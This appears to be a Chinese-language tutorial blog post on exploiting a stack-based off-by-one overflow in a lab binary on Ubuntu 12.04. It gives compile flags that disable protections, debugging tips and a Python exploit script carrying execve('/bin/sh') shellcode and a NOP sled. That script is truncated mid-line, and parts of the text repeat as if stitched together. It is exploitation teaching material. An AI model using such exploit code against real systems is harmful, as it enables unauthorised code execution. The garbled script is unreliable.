Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基於棧)
Off-By-One 漏洞 (基於棧)
原文地址:https://bbs.pediy.com/thread-216954.htm
什麽是off by one?
將源字符串復制到目標緩沖區可能會導致off by one
1、源字符串長度等於目標緩沖區長度。
當源字符串長度等於目標緩沖區長度時,單個NULL字節將被復制到目標緩沖區上方。這裏由於目標緩沖區位於堆棧中,所以單個NULL字節可以覆蓋存儲在堆棧中的調用者的EBP的最低有效位(LSB),這可能導致任意的代碼執行。
一如既往的充分的定義,讓我們來看看off by one的漏洞代碼!
懶得粘貼了,還是看原文吧,僅對部分作出解釋。
這篇全文解釋的都特別清楚,我僅說下我調試過程中遇到的坑。
首先是這個使用的是core文件調試,編譯選項gcc -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o vuln vuln.c
請註意沒有使用-g選項,那麽就不是debug模式,沒有debug模式,調試的時候就沒辦法在源碼上下斷,所以只能使用core文件進行。
使用core文件調試的辦法,作者也給出來了,但是我運行Python exp.py後,卻沒有core文件。經過查詢資料,使用ulimit -c命令查詢後,發現值為0,原來是系統默認(?)不允許創建core文件,修改限制,使用ulimit -c 1000修改
修改後,正常的生成了core文件。
還有一個比較坑的點是,gdb調試出的buf地址和真正運行的release版本的buf地址並不相同,偏移也有變化,需要特別註意。
還是老規矩,分享下我調試成功的exp.py文件
1 #exp.py 2 #!/usr/bin/env python 3 import struct 4 from subprocess import call 5 6 #Spawn a shell. 7 #execve(/bin/sh) Size- 28 bytes. 8 scode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\$ 910 ret_addr = 0xbffff426 11 12 #endianess conversion 13 def conv(num): 14 return struct.pack("<I",num)#turn Address + NOP‘s + Shellcode + J$ 15 buf = "A" * 68 16 buf += conv(ret_addr) 17 buf += "\x90" * 30 18 buf += scode 19 buf += "A" * 126 20 21 print "Calling vulnerable program" 22 call(["./vuln", buf])
Off-By-One 漏洞 (基於棧)
虛擬機安裝:Ubuntu 12.04(x86)
什麽是off by one?
將源字符串復制到目標緩沖區可能會導致off by one
1、源字符串長度等於目標緩沖區長度。
當源字符串長度等於目標緩沖區長度時,單個NULL字節將被復制到目標緩沖區上方。這裏由於目標緩沖區位於堆棧中,所以單個NULL字節可以覆蓋存儲在堆棧中的調用者的EBP的最低有效位(LSB),這可能導致任意的代碼執行。
一如既往的充分的定義,讓我們來看看off by one的漏洞代碼!
漏洞代碼:
Linux (x86) Exploit系列之三 Off-By-One 漏洞 (基於棧)